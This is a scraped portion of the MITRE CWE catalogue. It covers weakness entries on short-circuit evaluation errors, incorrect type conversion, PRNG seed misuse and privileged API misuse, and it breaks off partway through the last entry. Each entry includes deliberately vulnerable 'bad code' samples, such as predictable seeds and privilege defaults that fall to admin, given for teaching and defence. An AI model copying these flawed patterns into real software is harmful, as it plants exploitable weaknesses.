2022-10-13CWE Content TeamMITRE
updated Relationships
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Demonstrative_Examples, Observed_Examples, Relationships

CWE-768: Incorrect Short Circuit Evaluation

Weakness ID: 768
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product contains a conditional statement with multiple logical expressions in which one of the non-leading expressions may produce side effects. This may lead to an unexpected state in the program after the execution of the conditional, because short-circuiting logic may prevent the side effects from occurring.
+ Extended Description

Usage of short circuit evaluation, though well-defined in the C standard, may alter control flow in a way that introduces logic errors that are difficult to detect, possibly causing errors later during the product's execution. If an attacker can discover such an inconsistency, it may be exploitable to gain arbitrary control over a system.

If the first condition of an "or" statement is assumed to be true under normal circumstances, or if the first condition of an "and" statement is assumed to be false, then any subsequent conditional may contain its own logic errors that are not detected during code review or testing.

Finally, the usage of short circuit evaluation may decrease the maintainability of the code.

+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.691Insufficient Control Flow Management
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity
Availability

Technical Impact: Varies by Context

Widely varied consequences are possible if an attacker is aware of an unexpected state in the product after a conditional. It may lead to information exposure, a system crash, or even complete attacker control of the system.
+ Likelihood Of Exploit
Low
+ Demonstrative Examples

Example 1

The following function attempts to take a size value from a user and allocate an array of that size (we ignore bounds checking for simplicity). The function tries to initialize each spot with the value of its index, that is, A[len-1] = len - 1; A[len-2] = len - 2; ... A[1] = 1; A[0] = 0; However, since the programmer uses the prefix decrement operator, when the conditional is evaluated with i == 1, the decrement will result in a 0 value for the first part of the predicate, causing the second portion to be bypassed via short-circuit evaluation. This means we cannot be sure of what value will be in A[0] when we return the array to the user.

(bad code)
Example Language:
#define PRIV_ADMIN 0
#define PRIV_REGULAR 1
typedef struct{
int privileges;
int id;
} user_t;
user_t *Add_Regular_Users(int num_users){
user_t* users = (user_t*)calloc(num_users, sizeof(user_t));
int i = num_users;
while( --i && (users[i].privileges = PRIV_REGULAR) ){
users[i].id = i;
}
return users;
}
int main(){
user_t* test;
int i;
test = Add_Regular_Users(25);
for(i = 0; i < 25; i++) printf("user %d has privilege level %d\n", test[i].id, test[i].privileges);
}

When compiled and run, the above code will output a privilege level of 1, or PRIV_REGULAR for every user but the user with id 0 since the prefix increment operator used in the if statement will reach zero and short circuit before setting the 0th user's privilege level. Since we used calloc, this privilege will be set to 0, or PRIV_ADMIN.

+ Potential Mitigations

Phase: Implementation

Minimizing the number of statements in a conditional that produce side effects will help to prevent the likelihood of short circuit evaluation to alter control flow in an unexpected way.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.871CERT C++ Secure Coding Section 03 - Expressions (EXP)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.998SFP Secondary Cluster: Glitch in Computation
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1410Comprehensive Categorization: Insufficient Control Flow Management
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CLASPFailure to protect stored data from modification
Software Fault PatternsSFP1Glitch in computation
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2009-03-03
(CWE 1.4, 2009-05-27)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2010-09-27CWE Content TeamMITRE
updated Description
2011-09-13CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Likelihood_of_Exploit, Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Common_Consequences, Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Common_Consequences

CWE-704: Incorrect Type Conversion or Cast

Weakness ID: 704
Vulnerability Mapping: ALLOWEDThis CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review (with careful review of mapping notes)
Abstraction: ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not correctly convert an object, resource, or structure from one type to a different type.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.664Improper Control of a Resource Through its Lifetime
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.588Attempt to Access Child of a Non-structure Pointer
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.681Incorrect Conversion between Numeric Types
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.843Access of Resource Using Incompatible Type ('Type Confusion')
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1389Incorrect Parsing of Numbers with Different Radices
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.681Incorrect Conversion between Numeric Types
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.843Access of Resource Using Incompatible Type ('Type Confusion')
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

C (Often Prevalent)

C++ (Often Prevalent)

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Other

Technical Impact: Other

+ Demonstrative Examples

Example 1

In this example, depending on the return value of accecssmainframe(), the variable amount can hold a negative value when it is returned. Because the function is declared to return an unsigned value, amount will be implicitly cast to an unsigned number.

(bad code)
Example Language:
unsigned int readdata () {
int amount = 0;
...
amount = accessmainframe();
...
return amount;
}

If the return value of accessmainframe() is -1, then the return value of readdata() will be 4,294,967,295 on a system that uses 32-bit integers.

Example 2

The following code uses a union to support the representation of different types of messages. It formats messages differently, depending on their type.

(bad code)
Example Language:
#define NAME_TYPE 1
#define ID_TYPE 2

struct MessageBuffer
{
int msgType;
union {
char *name;
int nameID;
};
};


int main (int argc, char **argv) {
struct MessageBuffer buf;
char *defaultMessage = "Hello World";

buf.msgType = NAME_TYPE;
buf.name = defaultMessage;
printf("Pointer of buf.name is %p\n", buf.name);
/* This particular value for nameID is used to make the code architecture-independent. If coming from untrusted input, it could be any value. */

buf.nameID = (int)(defaultMessage + 1);
printf("Pointer of buf.name is now %p\n", buf.name);
if (buf.msgType == NAME_TYPE) {
printf("Message: %s\n", buf.name);
}
else {
printf("Message: Use ID %d\n", buf.nameID);
}
}

The code intends to process the message as a NAME_TYPE, and sets the default message to "Hello World." However, since both buf.name and buf.nameID are part of the same union, they can act as aliases for the same memory location, depending on memory layout after compilation.

As a result, modification of buf.nameID - an int - can effectively modify the pointer that is stored in buf.name - a string.

Execution of the program might generate output such as:

Pointer of name is 10830
Pointer of name is now 10831
Message: ello World

Notice how the pointer for buf.name was changed, even though buf.name was not explicitly modified.

In this case, the first "H" character of the message is omitted. However, if an attacker is able to fully control the value of buf.nameID, then buf.name could contain an arbitrary pointer, leading to out-of-bounds reads or writes.

+ Observed Examples
ReferenceDescription
Chain: in a web browser, an unsigned 64-bit integer is forcibly cast to a 32-bit integer (CWE-681) and potentially leading to an integer overflow (CWE-190). If an integer overflow occurs, this can cause heap memory corruption (CWE-122)
Chain: data visualization program written in PHP uses the "!=" operator instead of the type-strict "!==" operator (CWE-480) when validating hash values, potentially leading to an incorrect type conversion (CWE-704)
+ Detection Methods

Fuzzing

Fuzz testing (fuzzing) is a powerful technique for generating large numbers of diverse inputs - either randomly or algorithmically - and dynamically invoking the code with those inputs. Even with random inputs, it is often capable of generating unexpected results such as crashes, memory corruption, or resource consumption. Fuzzing effectively produces repeatable test cases that clearly indicate bugs, which helps developers to diagnose the issues.

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.737CERT C Secure Coding Standard (2008) Chapter 4 - Expressions (EXP)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.741CERT C Secure Coding Standard (2008) Chapter 8 - Characters and Strings (STR)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.747CERT C Secure Coding Standard (2008) Chapter 14 - Miscellaneous (MSC)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.875CERT C++ Secure Coding Section 07 - Characters and Strings (STR)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.883CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.998SFP Secondary Cluster: Glitch in Computation
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1003Weaknesses for Simplified Mapping of Published Vulnerabilities
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1129CISQ Quality Measures (2016) - Reliability
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1157SEI CERT C Coding Standard - Guidelines 03. Expressions (EXP)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1158SEI CERT C Coding Standard - Guidelines 04. Integers (INT)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1161SEI CERT C Coding Standard - Guidelines 07. Characters and Strings (STR)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1306CISQ Quality Measures - Reliability
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1340CISQ Data Protection Measures
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1416Comprehensive Categorization: Resource Lifecycle Management
+ Vulnerability Mapping Notes

Usage: ALLOWED-WITH-REVIEW

(this CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review)

Reason: Abstraction

Rationale:

This CWE entry is a Class and might have Base-level children that would be more appropriate

Comments:

Examine children of this entry to see if there is a better fit
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CERT C Secure CodingEXP05-CDo not cast away a const qualification
CERT C Secure CodingEXP39-CCWE More AbstractDo not access a variable through a pointer of an incompatible type
CERT C Secure CodingINT31-CCWE More AbstractEnsure that integer conversions do not result in lost or misinterpreted data
CERT C Secure CodingINT36-CCWE More AbstractConverting a pointer to integer or integer to pointer
CERT C Secure CodingSTR34-CCWE More AbstractCast characters to unsigned types before converting to larger integer sizes
CERT C Secure CodingSTR37-CCWE More AbstractArguments to character handling functions must be representable as an unsigned char
Software Fault PatternsSFP1Glitch in computation
OMG ASCRMASCRM-CWE-704
+ References
[REF-961] Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". ASCRM-CWE-704. 2016-01. <http://www.omg.org/spec/ASCRM/1.0/>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2008-09-09
(CWE 1.0, 2008-09-09)
CWE Content TeamMITRE
Note: this date reflects when the entry was first published. Draft versions of this entry were provided to members of the CWE community and modified between Draft 9 and 1.0.
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-11-24CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-05-27CWE Content TeamMITRE
updated Description
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships
2011-09-13CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-01-19CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Taxonomy_Mappings
2019-01-03CWE Content TeamMITRE
updated References, Relationships, Taxonomy_Mappings
2019-06-20CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2020-08-20CWE Content TeamMITRE
updated Relationships
2020-12-10CWE Content TeamMITRE
updated Relationships
2022-10-13CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Demonstrative_Examples, Observed_Examples
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Observed_Examples

CWE-335: Incorrect Usage of Seeds in Pseudo-Random Number Generator (PRNG)

Weakness ID: 335
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product uses a Pseudo-Random Number Generator (PRNG) but does not correctly manage seeds.
+ Extended Description

PRNGs are deterministic and, while their output appears random, they cannot actually create entropy. They rely on cryptographically secure and unique seeds for entropy so proper seeding is critical to the secure operation of the PRNG.

Management of seeds could be broken down into two main areas:

  • (1) protecting seeds as cryptographic material (such as a cryptographic key);
  • (2) whenever possible, using a uniquely generated seed from a cryptographically secure source

PRNGs require a seed as input to generate a stream of numbers that are functionally indistinguishable from random numbers. While the output is, in many cases, sufficient for cryptographic uses, the output of any PRNG is directly determined by the seed provided as input. If the seed can be ascertained by a third party, the entire output of the PRNG can be made known to them. As such, the seed should be kept secret and should ideally not be able to be guessed. For example, the current time may be a poor seed. Knowing the approximate time the PRNG was seeded greatly reduces the possible key space.

Seeds do not necessarily need to be unique, but reusing seeds may open up attacks if the seed is discovered.

+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.330Use of Insufficiently Random Values
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.336Same Seed in Pseudo-Random Number Generator (PRNG)
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.337Predictable Seed in Pseudo-Random Number Generator (PRNG)
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.339Small Seed Space in PRNG
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1213Random Number Issues
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.310Cryptographic Issues
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.330Use of Insufficiently Random Values
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1013Encrypt Data
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control
Other

Technical Impact: Bypass Protection Mechanism; Other

If a PRNG is used incorrectly, such as using the same seed for each initialization or using a predictable seed, then an attacker may be able to easily guess the seed and thus the random numbers. This could lead to unauthorized access to a system if the seed is used for authentication and authorization.
+ Demonstrative Examples

Example 1

The following code uses a statistical PRNG to generate account IDs.

(bad code)
Example Language: Java 
private static final long SEED = 1234567890;
public int generateAccountID() {
Random random = new Random(SEED);
return random.nextInt();
}

Because the program uses the same seed value for every invocation of the PRNG, its values are predictable, making the system vulnerable to attack.

Example 2

Both of these examples use a statistical PRNG seeded with the current value of the system clock to generate a random number:

(bad code)
Example Language: Java 
Random random = new Random(System.currentTimeMillis());
int accountID = random.nextInt();
(bad code)
Example Language:
srand(time());
int randNum = rand();

An attacker can easily predict the seed used by these PRNGs, and so also predict the stream of random numbers generated. Note these examples also exhibit CWE-338 (Use of Cryptographically Weak PRNG).

Example 3

This code grabs some random bytes and uses them for a seed in a PRNG, in order to generate a new cryptographic key.

(bad code)
Example Language: Python 
# getting 2 bytes of randomness for the seeding the PRNG
seed = os.urandom(2)
random.seed(a=seed)
key = random.getrandbits(128)

Since only 2 bytes are used as a seed, an attacker will only need to guess 2^16 (65,536) values before being able to replicate the state of the PRNG.

+ Observed Examples
ReferenceDescription
Cloud application on Kubernetes generates passwords using a weak random number generator based on deployment time.
server uses erlang:now() to seed the PRNG, which results in a small search space for potential random seeds
Product's PRNG is not seeded for the generation of session IDs
Router's PIN generation is based on rand(time(0)) seeding.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.905SFP Primary Cluster: Predictability
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1346OWASP Top Ten 2021 Category A02:2021 - Cryptographic Failures
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1414Comprehensive Categorization: Randomness
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Maintenance

As of CWE 4.5, terminology related to randomness, entropy, and predictability can vary widely. Within the developer and other communities, "randomness" is used heavily. However, within cryptography, "entropy" is distinct, typically implied as a measurement. There are no commonly-used definitions, even within standards documents and cryptography papers. Future versions of CWE will attempt to define these terms and, if necessary, distinguish between them in ways that are appropriate for different communities but do not reduce the usability of CWE for mapping, understanding, or other scenarios.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERPRNG Seed Error
+ References
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 20: Weak Random Numbers." Page 299. McGraw-Hill. 2010.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Common_Consequences, References, Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Description, Modes_of_Introduction, Name, Relationships, Type
2019-06-20CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2021-07-20CWE Content TeamMITRE
updated Description, Maintenance_Notes, Observed_Examples
2021-10-28CWE Content TeamMITRE
updated Relationships
2022-10-13CWE Content TeamMITRE
updated Observed_Examples
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Demonstrative_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2017-11-08PRNG Seed Error

CWE-648: Incorrect Use of Privileged APIs

Weakness ID: 648
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not conform to the API requirements for a function call that requires extra privileges. This could allow attackers to gain privileges by causing the function to be called incorrectly.
+ Extended Description

When a product contains certain functions that perform operations requiring an elevated level of privilege, the caller of a privileged API must be careful to:

  • ensure that assumptions made by the APIs are valid, such as validity of arguments
  • account for known weaknesses in the design/implementation of the API
  • call the API from a safe context

If the caller of the API does not follow these requirements, then it may allow a malicious user or process to elevate their privilege, hijack the process, or steal sensitive data.

For instance, it is important to know if privileged APIs do not shed their privileges before returning to the caller or if the privileged function might make certain assumptions about the data, context or state information passed to it by the caller. It is important to always know when and how privileged APIs can be called in order to ensure that their elevated level of privilege cannot be exploited.

+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.269Improper Privilege Management
